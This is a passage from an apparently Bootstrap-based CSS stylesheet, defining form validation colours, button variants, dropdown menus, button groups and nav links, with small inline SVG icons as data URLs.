url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e"), url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%236fd943' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e"); background-position: right 1rem center, center right 2rem; background-size: 16px 12px, calc(0.75em + 0.575rem) calc(0.75em + 0.575rem); } .was-validated .form-select:valid:focus, .form-select.is-valid:focus { border-color: #6fd943; box-shadow: 0 0 0 0.2rem rgba(111, 217, 67, 0.25); } .was-validated .form-control-color:valid, .form-control-color.is-valid { width: calc(3rem + calc(1.5em + 1.15rem)); } .was-validated .form-check-input:valid, .form-check-input.is-valid { border-color: #6fd943; } .was-validated .form-check-input:valid:checked, .form-check-input.is-valid:checked { background-color: #6fd943; } .was-validated .form-check-input:valid:focus, .form-check-input.is-valid:focus { box-shadow: 0 0 0 0.2rem rgba(111, 217, 67, 0.25); } .was-validated .form-check-input:valid ~ .form-check-label, .form-check-input.is-valid ~ .form-check-label { color: #6fd943; } .form-check-inline .form-check-input ~ .valid-feedback { margin-left: .5em; } .was-validated .input-group > .form-control:not(:focus):valid, .was-validated .input-group > .custom-select:not(:focus):valid, .was-validated .input-group > .dataTable-selector:not(:focus):valid, .was-validated .input-group > .dataTable-input:not(:focus):valid, .input-group > .form-control:not(:focus).is-valid, .input-group > .custom-select:not(:focus).is-valid, .input-group > .dataTable-selector:not(:focus).is-valid, .input-group > .dataTable-input:not(:focus).is-valid, .was-validated .input-group > .form-select:not(:focus):valid, .input-group > .form-select:not(:focus).is-valid, .was-validated .input-group > .form-floating:not(:focus-within):valid, .input-group > .form-floating:not(:focus-within).is-valid { z-index: 3; } .invalid-feedback { display: none; width: 100%; margin-top: 0.25rem; font-size: 80%; color: #ff3a6e; } .invalid-tooltip { position: absolute; top: 100%; z-index: 5; display: none; max-width: 100%; padding: 0.25rem 0.5rem; margin-top: .1rem; font-size: 0.76563rem; line-height: 1.5; color: #ffffff; background-color: rgba(255, 58, 110, 0.9); border-radius: 10px; } .was-validated :invalid ~ .invalid-feedback, .was-validated :invalid ~ .invalid-tooltip, .is-invalid ~ .invalid-feedback, .is-invalid ~ .invalid-tooltip { display: block; } .was-validated .form-control:invalid, .was-validated .custom-select:invalid, .was-validated .dataTable-selector:invalid, .was-validated .dataTable-input:invalid, .form-control.is-invalid, .is-invalid.custom-select, .is-invalid.dataTable-selector, .is-invalid.dataTable-input { border-color: #ff3a6e; padding-right: calc(1.5em + 1.15rem); background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23ff3a6e' viewBox='-2 -2 7 7'%3e%3cpath stroke='%23ff3a6e' d='M0 0l3 3m0-3L0 3'/%3e%3ccircle r='.5'/%3e%3ccircle cx='3' r='.5'/%3e%3ccircle cy='3' r='.5'/%3e%3ccircle cx='3' cy='3' r='.5'/%3e%3c/svg%3E"); background-repeat: no-repeat; background-position: right calc(0.375em + 0.2875rem) center; background-size: calc(0.75em + 0.575rem) calc(0.75em + 0.575rem); } .was-validated .form-control:invalid:focus, .was-validated .custom-select:invalid:focus, .was-validated .dataTable-selector:invalid:focus, .was-validated .dataTable-input:invalid:focus, .form-control.is-invalid:focus, .is-invalid.custom-select:focus, .is-invalid.dataTable-selector:focus, .is-invalid.dataTable-input:focus { border-color: #ff3a6e; box-shadow: 0 0 0 0.2rem rgba(255, 58, 110, 0.25); } .was-validated textarea.form-control:invalid, .was-validated textarea.custom-select:invalid, .was-validated textarea.dataTable-selector:invalid, .was-validated textarea.dataTable-input:invalid, textarea.form-control.is-invalid, textarea.is-invalid.custom-select, textarea.is-invalid.dataTable-selector, textarea.is-invalid.dataTable-input { padding-right: calc(1.5em + 1.15rem); background-position: top calc(0.375em + 0.2875rem) right calc(0.375em + 0.2875rem); } .was-validated .form-select:invalid, .form-select.is-invalid { border-color: #ff3a6e; } .was-validated .form-select:invalid:not([multiple]):not([size]), .was-validated .form-select:invalid:not([multiple])[size="1"], .form-select.is-invalid:not([multiple]):not([size]), .form-select.is-invalid:not([multiple])[size="1"] { padding-right: calc(0.75em + 2.8625rem); background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e"), url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23ff3a6e' viewBox='-2 -2 7 7'%3e%3cpath stroke='%23ff3a6e' d='M0 0l3 3m0-3L0 3'/%3e%3ccircle r='.5'/%3e%3ccircle cx='3' r='.5'/%3e%3ccircle cy='3' r='.5'/%3e%3ccircle cx='3' cy='3' r='.5'/%3e%3c/svg%3E"); background-position: right 1rem center, center right 2rem; background-size: 16px 12px, calc(0.75em + 0.575rem) calc(0.75em + 0.575rem); } .was-validated .form-select:invalid:focus, .form-select.is-invalid:focus { border-color: #ff3a6e; box-shadow: 0 0 0 0.2rem rgba(255, 58, 110, 0.25); } .was-validated .form-control-color:invalid, .form-control-color.is-invalid { width: calc(3rem + calc(1.5em + 1.15rem)); } .was-validated .form-check-input:invalid, .form-check-input.is-invalid { border-color: #ff3a6e; } .was-validated .form-check-input:invalid:checked, .form-check-input.is-invalid:checked { background-color: #ff3a6e; } .was-validated .form-check-input:invalid:focus, .form-check-input.is-invalid:focus { box-shadow: 0 0 0 0.2rem rgba(255, 58, 110, 0.25); } .was-validated .form-check-input:invalid ~ .form-check-label, .form-check-input.is-invalid ~ .form-check-label { color: #ff3a6e; } .form-check-inline .form-check-input ~ .invalid-feedback { margin-left: .5em; } .was-validated .input-group > .form-control:not(:focus):invalid, .was-validated .input-group > .custom-select:not(:focus):invalid, .was-validated .input-group > .dataTable-selector:not(:focus):invalid, .was-validated .input-group > .dataTable-input:not(:focus):invalid, .input-group > .form-control:not(:focus).is-invalid, .input-group > .custom-select:not(:focus).is-invalid, .input-group > .dataTable-selector:not(:focus).is-invalid, .input-group > .dataTable-input:not(:focus).is-invalid, .was-validated .input-group > .form-select:not(:focus):invalid, .input-group > .form-select:not(:focus).is-invalid, .was-validated .input-group > .form-floating:not(:focus-within):invalid, .input-group > .form-floating:not(:focus-within).is-invalid { z-index: 4; } .btn { --bs-btn-padding-x: 1.3rem; --bs-btn-padding-y: 0.575rem; --bs-btn-font-family: ; --bs-btn-font-size: 0.875rem; --bs-btn-font-weight: 500; --bs-btn-line-height: 1.5; --bs-btn-color: #293240; --bs-btn-bg: transparent; --bs-btn-border-width: 1px; --bs-btn-border-color: transparent; --bs-btn-border-radius: 6px; --bs-btn-hover-border-color: transparent; --bs-btn-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 1px rgba(0, 0, 0, 0.075); --bs-btn-disabled-opacity: 0.65; --bs-btn-focus-box-shadow: 0 0 0 0.2rem rgba(var(--bs-btn-focus-shadow-rgb), .5); display: inline-block; padding: var(--bs-btn-padding-y) var(--bs-btn-padding-x); font-family: var(--bs-btn-font-family); font-size: var(--bs-btn-font-size); font-weight: var(--bs-btn-font-weight); line-height: var(--bs-btn-line-height); color: var(--bs-btn-color); text-align: center; vertical-align: middle; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; user-select: none; border: var(--bs-btn-border-width) solid var(--bs-btn-border-color); border-radius: var(--bs-btn-border-radius); background-color: var(--bs-btn-bg); transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .btn { transition: none; } } .btn:hover { color: var(--bs-btn-hover-color); text-decoration: none; background-color: var(--bs-btn-hover-bg); border-color: var(--bs-btn-hover-border-color); } .btn-check + .btn:hover { color: var(--bs-btn-color); background-color: var(--bs-btn-bg); border-color: var(--bs-btn-border-color); } .btn:focus-visible { color: var(--bs-btn-hover-color); background-color: var(--bs-btn-hover-bg); border-color: var(--bs-btn-hover-border-color); outline: 0; box-shadow: var(--bs-btn-focus-box-shadow); } .btn-check:focus-visible + .btn { border-color: var(--bs-btn-hover-border-color); outline: 0; box-shadow: var(--bs-btn-focus-box-shadow); } .btn-check:checked + .btn, :not(.btn-check) + .btn:active, .btn:first-child:active, .btn.active, .btn.show { color: var(--bs-btn-active-color); background-color: var(--bs-btn-active-bg); border-color: var(--bs-btn-active-border-color); } .btn-check:checked + .btn:focus-visible, :not(.btn-check) + .btn:active:focus-visible, .btn:first-child:active:focus-visible, .btn.active:focus-visible, .btn.show:focus-visible { box-shadow: var(--bs-btn-focus-box-shadow); } .btn:disabled, .btn.disabled, fieldset:disabled .btn { color: var(--bs-btn-disabled-color); pointer-events: none; background-color: var(--bs-btn-disabled-bg); border-color: var(--bs-btn-disabled-border-color); opacity: var(--bs-btn-disabled-opacity); } .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #51459d; --bs-btn-border-color: #51459d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #453b85; --bs-btn-hover-border-color: #41377e; --bs-btn-focus-shadow-rgb: 107, 97, 172; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #41377e; --bs-btn-active-border-color: #3d3476; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #51459d; --bs-btn-disabled-border-color: #51459d; } .btn-secondary { --bs-btn-color: #ffffff; --bs-btn-bg: #6c757d; --bs-btn-border-color: #6c757d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #5c636a; --bs-btn-hover-border-color: #565e64; --bs-btn-focus-shadow-rgb: 130, 138, 145; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #565e64; --bs-btn-active-border-color: #51585e; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #6c757d; --bs-btn-disabled-border-color: #6c757d; } .btn-success { --bs-btn-color: #ffffff; --bs-btn-bg: #6fd943; --bs-btn-border-color: #6fd943; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #5eb839; --bs-btn-hover-border-color: #59ae36; --bs-btn-focus-shadow-rgb: 133, 223, 95; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #59ae36; --bs-btn-active-border-color: #53a332; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #6fd943; --bs-btn-disabled-border-color: #6fd943; } .btn-info { --bs-btn-color: #ffffff; --bs-btn-bg: #3ec9d6; --bs-btn-border-color: #3ec9d6; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #35abb6; --bs-btn-hover-border-color: #32a1ab; --bs-btn-focus-shadow-rgb: 91, 209, 220; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #32a1ab; --bs-btn-active-border-color: #2f97a1; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #3ec9d6; --bs-btn-disabled-border-color: #3ec9d6; } .btn-warning { --bs-btn-color: #ffffff; --bs-btn-bg: #ffa21d; --bs-btn-border-color: #ffa21d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #d98a19; --bs-btn-hover-border-color: #cc8217; --bs-btn-focus-shadow-rgb: 255, 176, 63; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #cc8217; --bs-btn-active-border-color: #bf7a16; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #ffa21d; --bs-btn-disabled-border-color: #ffa21d; } .btn-danger { --bs-btn-color: #ffffff; --bs-btn-bg: #ff3a6e; --bs-btn-border-color: #ff3a6e; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #d9315e; --bs-btn-hover-border-color: #cc2e58; --bs-btn-focus-shadow-rgb: 255, 88, 132; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #cc2e58; --bs-btn-active-border-color: #bf2c53; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #ff3a6e; --bs-btn-disabled-border-color: #ff3a6e; } .btn-light { --bs-btn-color: #212529; --bs-btn-bg: #f8f9fa; --bs-btn-border-color: #f8f9fa; --bs-btn-hover-color: #212529; --bs-btn-hover-bg: #d3d4d5; --bs-btn-hover-border-color: #c6c7c8; --bs-btn-focus-shadow-rgb: 216, 217, 219; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #c6c7c8; --bs-btn-active-border-color: #babbbc; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #212529; --bs-btn-disabled-bg: #f8f9fa; --bs-btn-disabled-border-color: #f8f9fa; } .btn-dark { --bs-btn-color: #ffffff; --bs-btn-bg: #1c232f; --bs-btn-border-color: #1c232f; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #3e444e; --bs-btn-hover-border-color: #333944; --bs-btn-focus-shadow-rgb: 62, 68, 78; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #494f59; --bs-btn-active-border-color: #333944; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #1c232f; --bs-btn-disabled-border-color: #1c232f; } .btn-outline-primary { --bs-btn-color: #51459d; --bs-btn-border-color: #51459d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #51459d; --bs-btn-hover-border-color: #51459d; --bs-btn-focus-shadow-rgb: 81, 69, 157; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #51459d; --bs-btn-active-border-color: #51459d; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #51459d; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #51459d; --bs-gradient: none; } .btn-outline-secondary { --bs-btn-color: #6c757d; --bs-btn-border-color: #6c757d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #6c757d; --bs-btn-hover-border-color: #6c757d; --bs-btn-focus-shadow-rgb: 108, 117, 125; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #6c757d; --bs-btn-active-border-color: #6c757d; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #6c757d; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #6c757d; --bs-gradient: none; } .btn-outline-success { --bs-btn-color: #6fd943; --bs-btn-border-color: #6fd943; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #6fd943; --bs-btn-hover-border-color: #6fd943; --bs-btn-focus-shadow-rgb: 111, 217, 67; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #6fd943; --bs-btn-active-border-color: #6fd943; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #6fd943; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #6fd943; --bs-gradient: none; } .btn-outline-info { --bs-btn-color: #3ec9d6; --bs-btn-border-color: #3ec9d6; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #3ec9d6; --bs-btn-hover-border-color: #3ec9d6; --bs-btn-focus-shadow-rgb: 62, 201, 214; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #3ec9d6; --bs-btn-active-border-color: #3ec9d6; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #3ec9d6; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #3ec9d6; --bs-gradient: none; } .btn-outline-warning { --bs-btn-color: #ffa21d; --bs-btn-border-color: #ffa21d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #ffa21d; --bs-btn-hover-border-color: #ffa21d; --bs-btn-focus-shadow-rgb: 255, 162, 29; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #ffa21d; --bs-btn-active-border-color: #ffa21d; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffa21d; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #ffa21d; --bs-gradient: none; } .btn-outline-danger { --bs-btn-color: #ff3a6e; --bs-btn-border-color: #ff3a6e; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #ff3a6e; --bs-btn-hover-border-color: #ff3a6e; --bs-btn-focus-shadow-rgb: 255, 58, 110; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #ff3a6e; --bs-btn-active-border-color: #ff3a6e; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ff3a6e; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #ff3a6e; --bs-gradient: none; } .btn-outline-light { --bs-btn-color: #f8f9fa; --bs-btn-border-color: #f8f9fa; --bs-btn-hover-color: #212529; --bs-btn-hover-bg: #f8f9fa; --bs-btn-hover-border-color: #f8f9fa; --bs-btn-focus-shadow-rgb: 248, 249, 250; --bs-btn-active-color: #212529; --bs-btn-active-bg: #f8f9fa; --bs-btn-active-border-color: #f8f9fa; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #f8f9fa; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #f8f9fa; --bs-gradient: none; } .btn-outline-dark { --bs-btn-color: #1c232f; --bs-btn-border-color: #1c232f; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #1c232f; --bs-btn-hover-border-color: #1c232f; --bs-btn-focus-shadow-rgb: 28, 35, 47; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #1c232f; --bs-btn-active-border-color: #1c232f; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #1c232f; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #1c232f; --bs-gradient: none; } .btn-link { --bs-btn-font-weight: 400; --bs-btn-color: #51459d; --bs-btn-bg: transparent; --bs-btn-border-color: transparent; --bs-btn-hover-color: #51459d; --bs-btn-hover-border-color: transparent; --bs-btn-active-color: #51459d; --bs-btn-active-border-color: transparent; --bs-btn-disabled-color: #6c757d; --bs-btn-disabled-border-color: transparent; --bs-btn-box-shadow: none; --bs-btn-focus-shadow-rgb: 107, 97, 172; text-decoration: none; } .btn-link:hover, .btn-link:focus-visible { text-decoration: underline; } .btn-link:focus-visible { color: var(--bs-btn-color); } .btn-link:hover { color: var(--bs-btn-hover-color); } .btn-lg, .btn-group-lg > .btn { --bs-btn-padding-y: 0.5rem; --bs-btn-padding-x: 1rem; --bs-btn-font-size: 1.09375rem; --bs-btn-border-radius: 8px; } .btn-sm, .btn-group-sm > .btn { --bs-btn-padding-y: 0.25rem; --bs-btn-padding-x: 0.5rem; --bs-btn-font-size: 0.76563rem; --bs-btn-border-radius: 4px; } .fade { transition: opacity 0.15s linear; } @media (prefers-reduced-motion: reduce) { .fade { transition: none; } } .fade:not(.show) { opacity: 0; } .collapse:not(.show) { display: none; } .collapsing { height: 0; overflow: hidden; transition: height 0.35s ease; } @media (prefers-reduced-motion: reduce) { .collapsing { transition: none; } } .collapsing.collapse-horizontal { width: 0; height: auto; transition: width 0.35s ease; } @media (prefers-reduced-motion: reduce) { .collapsing.collapse-horizontal { transition: none; } } .dropup, .dropend, .dropdown, .dropstart, .dropup-center, .dropdown-center { position: relative; } .dropdown-toggle { white-space: nowrap; } .dropdown-toggle::after { display: inline-block; margin-left: 0.255em; vertical-align: 0.255em; content: ""; border-top: 0.3em solid; border-right: 0.3em solid transparent; border-bottom: 0; border-left: 0.3em solid transparent; } .dropdown-toggle:empty::after { margin-left: 0; } .dropdown-menu { --bs-dropdown-zindex: 1000; --bs-dropdown-min-width: 12rem; --bs-dropdown-padding-x: 0; --bs-dropdown-padding-y: 0.5rem; --bs-dropdown-spacer: 0.125rem; --bs-dropdown-font-size: 0.875rem; --bs-dropdown-color: #293240; --bs-dropdown-bg: #ffffff; --bs-dropdown-border-color: rgba(0, 0, 0, 0.15); --bs-dropdown-border-radius: 10px; --bs-dropdown-border-width: 0; --bs-dropdown-inner-border-radius: 10px; --bs-dropdown-divider-bg: #e9ecef; --bs-dropdown-divider-margin-y: 0.5rem; --bs-dropdown-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.175); --bs-dropdown-link-color: #293240; --bs-dropdown-link-hover-color: #343a40; --bs-dropdown-link-hover-bg: #eff0f2; --bs-dropdown-link-active-color: #343a40; --bs-dropdown-link-active-bg: #eff0f2; --bs-dropdown-link-disabled-color: #6c757d; --bs-dropdown-item-padding-x: 1.5rem; --bs-dropdown-item-padding-y: 0.65rem; --bs-dropdown-header-color: #6c757d; --bs-dropdown-header-padding-x: 1rem; --bs-dropdown-header-padding-y: 0.5rem; position: absolute; z-index: var(--bs-dropdown-zindex); display: none; min-width: var(--bs-dropdown-min-width); padding: var(--bs-dropdown-padding-y) var(--bs-dropdown-padding-x); margin: 0; font-size: var(--bs-dropdown-font-size); color: var(--bs-dropdown-color); text-align: left; list-style: none; background-color: var(--bs-dropdown-bg); background-clip: padding-box; border: var(--bs-dropdown-border-width) solid var(--bs-dropdown-border-color); border-radius: var(--bs-dropdown-border-radius); } .dropdown-menu[data-bs-popper] { top: 100%; left: 0; margin-top: var(--bs-dropdown-spacer); } .dropdown-menu-start { --bs-position: start; } .dropdown-menu-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-end { --bs-position: end; } .dropdown-menu-end[data-bs-popper] { right: 0; left: auto; } @media (min-width: 576px) { .dropdown-menu-sm-start { --bs-position: start; } .dropdown-menu-sm-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-sm-end { --bs-position: end; } .dropdown-menu-sm-end[data-bs-popper] { right: 0; left: auto; } } @media (min-width: 768px) { .dropdown-menu-md-start { --bs-position: start; } .dropdown-menu-md-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-md-end { --bs-position: end; } .dropdown-menu-md-end[data-bs-popper] { right: 0; left: auto; } } @media (min-width: 992px) { .dropdown-menu-lg-start { --bs-position: start; } .dropdown-menu-lg-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-lg-end { --bs-position: end; } .dropdown-menu-lg-end[data-bs-popper] { right: 0; left: auto; } } @media (min-width: 1200px) { .dropdown-menu-xl-start { --bs-position: start; } .dropdown-menu-xl-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-xl-end { --bs-position: end; } .dropdown-menu-xl-end[data-bs-popper] { right: 0; left: auto; } } @media (min-width: 1400px) { .dropdown-menu-xxl-start { --bs-position: start; } .dropdown-menu-xxl-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-xxl-end { --bs-position: end; } .dropdown-menu-xxl-end[data-bs-popper] { right: 0; left: auto; } } .dropup .dropdown-menu[data-bs-popper] { top: auto; bottom: 100%; margin-top: 0; margin-bottom: var(--bs-dropdown-spacer); } .dropup .dropdown-toggle::after { display: inline-block; margin-left: 0.255em; vertical-align: 0.255em; content: ""; border-top: 0; border-right: 0.3em solid transparent; border-bottom: 0.3em solid; border-left: 0.3em solid transparent; } .dropup .dropdown-toggle:empty::after { margin-left: 0; } .dropend .dropdown-menu[data-bs-popper] { top: 0; right: auto; left: 100%; margin-top: 0; margin-left: var(--bs-dropdown-spacer); } .dropend .dropdown-toggle::after { display: inline-block; margin-left: 0.255em; vertical-align: 0.255em; content: ""; border-top: 0.3em solid transparent; border-right: 0; border-bottom: 0.3em solid transparent; border-left: 0.3em solid; } .dropend .dropdown-toggle:empty::after { margin-left: 0; } .dropend .dropdown-toggle::after { vertical-align: 0; } .dropstart .dropdown-menu[data-bs-popper] { top: 0; right: 100%; left: auto; margin-top: 0; margin-right: var(--bs-dropdown-spacer); } .dropstart .dropdown-toggle::after { display: inline-block; margin-left: 0.255em; vertical-align: 0.255em; content: ""; } .dropstart .dropdown-toggle::after { display: none; } .dropstart .dropdown-toggle::before { display: inline-block; margin-right: 0.255em; vertical-align: 0.255em; content: ""; border-top: 0.3em solid transparent; border-right: 0.3em solid; border-bottom: 0.3em solid transparent; } .dropstart .dropdown-toggle:empty::after { margin-left: 0; } .dropstart .dropdown-toggle::before { vertical-align: 0; } .dropdown-divider { height: 0; margin: var(--bs-dropdown-divider-margin-y) 0; overflow: hidden; border-top: 1px solid var(--bs-dropdown-divider-bg); opacity: 1; } .dropdown-item { display: block; width: 100%; padding: var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x); clear: both; font-weight: 400; color: var(--bs-dropdown-link-color); text-align: inherit; white-space: nowrap; background-color: transparent; border: 0; } .dropdown-item:hover, .dropdown-item:focus { color: var(--bs-dropdown-link-hover-color); text-decoration: none; background-color: var(--bs-dropdown-link-hover-bg); } .dropdown-item.active, .dropdown-item:active { color: var(--bs-dropdown-link-active-color); text-decoration: none; background-color: var(--bs-dropdown-link-active-bg); } .dropdown-item.disabled, .dropdown-item:disabled { color: var(--bs-dropdown-link-disabled-color); pointer-events: none; background-color: transparent; } .dropdown-menu.show { display: block; } .dropdown-header { display: block; padding: var(--bs-dropdown-header-padding-y) var(--bs-dropdown-header-padding-x); margin-bottom: 0; font-size: 0.76563rem; color: var(--bs-dropdown-header-color); white-space: nowrap; } .dropdown-item-text { display: block; padding: var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x); color: var(--bs-dropdown-link-color); } .dropdown-menu-dark { --bs-dropdown-color: #dee2e6; --bs-dropdown-bg: #343a40; --bs-dropdown-border-color: rgba(0, 0, 0, 0.15); --bs-dropdown-box-shadow: ; --bs-dropdown-link-color: #dee2e6; --bs-dropdown-link-hover-color: #ffffff; --bs-dropdown-divider-bg: #e9ecef; --bs-dropdown-link-hover-bg: rgba(255, 255, 255, 0.15); --bs-dropdown-link-active-color: #343a40; --bs-dropdown-link-active-bg: #eff0f2; --bs-dropdown-link-disabled-color: #adb5bd; --bs-dropdown-header-color: #adb5bd; } .btn-group, .btn-group-vertical { position: relative; display: inline-flex; vertical-align: middle; } .btn-group > .btn, .btn-group-vertical > .btn { position: relative; flex: 1 1 auto; } .btn-group > .btn-check:checked + .btn, .btn-group > .btn-check:focus + .btn, .btn-group > .btn:hover, .btn-group > .btn:focus, .btn-group > .btn:active, .btn-group > .btn.active, .btn-group-vertical > .btn-check:checked + .btn, .btn-group-vertical > .btn-check:focus + .btn, .btn-group-vertical > .btn:hover, .btn-group-vertical > .btn:focus, .btn-group-vertical > .btn:active, .btn-group-vertical > .btn.active { z-index: 1; } .btn-toolbar { display: flex; flex-wrap: wrap; justify-content: flex-start; } .btn-toolbar .input-group { width: auto; } .btn-group { border-radius: 6px; } .btn-group > :not(.btn-check:first-child) + .btn, .btn-group > .btn-group:not(:first-child) { margin-left: -1px; } .btn-group > .btn:not(:last-child):not(.dropdown-toggle), .btn-group > .btn.dropdown-toggle-split:first-child, .btn-group > .btn-group:not(:last-child) > .btn { border-top-right-radius: 0; border-bottom-right-radius: 0; } .btn-group > .btn:nth-child(n + 3), .btn-group > :not(.btn-check) + .btn, .btn-group > .btn-group:not(:first-child) > .btn { border-top-left-radius: 0; border-bottom-left-radius: 0; } .dropdown-toggle-split { padding-right: 0.975rem; padding-left: 0.975rem; } .dropdown-toggle-split::after, .dropup .dropdown-toggle-split::after, .dropend .dropdown-toggle-split::after { margin-left: 0; } .dropstart .dropdown-toggle-split::before { margin-right: 0; } .btn-sm + .dropdown-toggle-split, .btn-group-sm > .btn + .dropdown-toggle-split { padding-right: 0.375rem; padding-left: 0.375rem; } .btn-lg + .dropdown-toggle-split, .btn-group-lg > .btn + .dropdown-toggle-split { padding-right: 0.75rem; padding-left: 0.75rem; } .btn-group-vertical { flex-direction: column; align-items: flex-start; justify-content: center; } .btn-group-vertical > .btn, .btn-group-vertical > .btn-group { width: 100%; } .btn-group-vertical > .btn:not(:first-child), .btn-group-vertical > .btn-group:not(:first-child) { margin-top: -1px; } .btn-group-vertical > .btn:not(:last-child):not(.dropdown-toggle), .btn-group-vertical > .btn-group:not(:last-child) > .btn { border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .btn-group-vertical > .btn ~ .btn, .btn-group-vertical > .btn-group:not(:first-child) > .btn { border-top-left-radius: 0; border-top-right-radius: 0; } .nav { --bs-nav-link-padding-x: 1rem; --bs-nav-link-padding-y: 0.5rem; --bs-nav-link-font-weight: ; --bs-nav-link-color: var(--bs-link-color); --bs-nav-link-hover-color: var(--bs-link-hover-color); --bs-nav-link-disabled-color: #6c757d; display: flex; flex-wrap: wrap; padding-left: 0; margin-bottom: 0; list-style: none; } .nav-link { display: block; padding: var(--bs-nav-link-padding-y) var(--bs-nav-link-padding-x); font-size: var(--bs-nav-link-font-size); font-weight: var(--bs-nav-link-font-weight); color: var(--bs-nav-link-color); transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .nav-link { transition: none; } } .nav-link:hover, .nav-link:focus { color: var(--bs-nav-link-hover-color); text-decoration: none; } 